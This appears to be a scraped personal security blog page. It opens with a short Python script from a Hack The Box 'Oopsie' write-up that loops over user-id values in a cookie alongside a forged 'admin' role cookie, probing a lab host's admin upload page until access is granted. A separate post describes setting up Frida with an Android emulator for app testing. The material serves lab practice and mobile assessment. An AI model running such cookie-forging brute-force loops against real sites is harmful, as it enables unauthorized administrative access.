import requests
from bs4 import BeautifulSoup
def exp():
host, port = "http://10.10.10.28", 80
for i in range(86574, 100000):
cookies = {
"user":str(i),
"role":"admin"
}
r = requests.get(host+"/cdn-cgi/login/admin.php?content=uploads", cookies=cookies)
if "Authenticating" not in r.text:
print(f"Found: {str(i)}")
exit()
if __name__ == "__main__":
exp()
Saturday, 28 August 2021
[HTB] Oopsie
Wednesday, 25 August 2021
Andorid Mobile App Assessment - Frida environment
This is how to implement test environment for Frida.
Below is my test environment for frida-server and frida-client:
|----------------------------------------------------------------------------------|
| |-------------------------| |------------------------------------| |
| | Android-Studio | | Ubuntu on VM Player | |
| | AVD | <---> | IP: 192.168.172.129 (NAT) | |
| | IP: 10.0.2.2 (NAT) | |------------------------------------| |
| |-------------------------| |
| Windows 10 |
| 192.168.1.101 |
|----------------------------------------------------------------------------------|
That's a simple test environment.
The frida-server is running on Android-Stuido AVD, and the frida-tools is running on the Ubuntu server.
Windows & AVD
1. copy the frida-server file to Android (/data/local/tmp).
1.1. adb.exe push /<your-path of frida-server file> /data/local/tmp/
2.1. adb shell; cd /data/local/tmp; chmod 755 ./frida-server; ./frida-server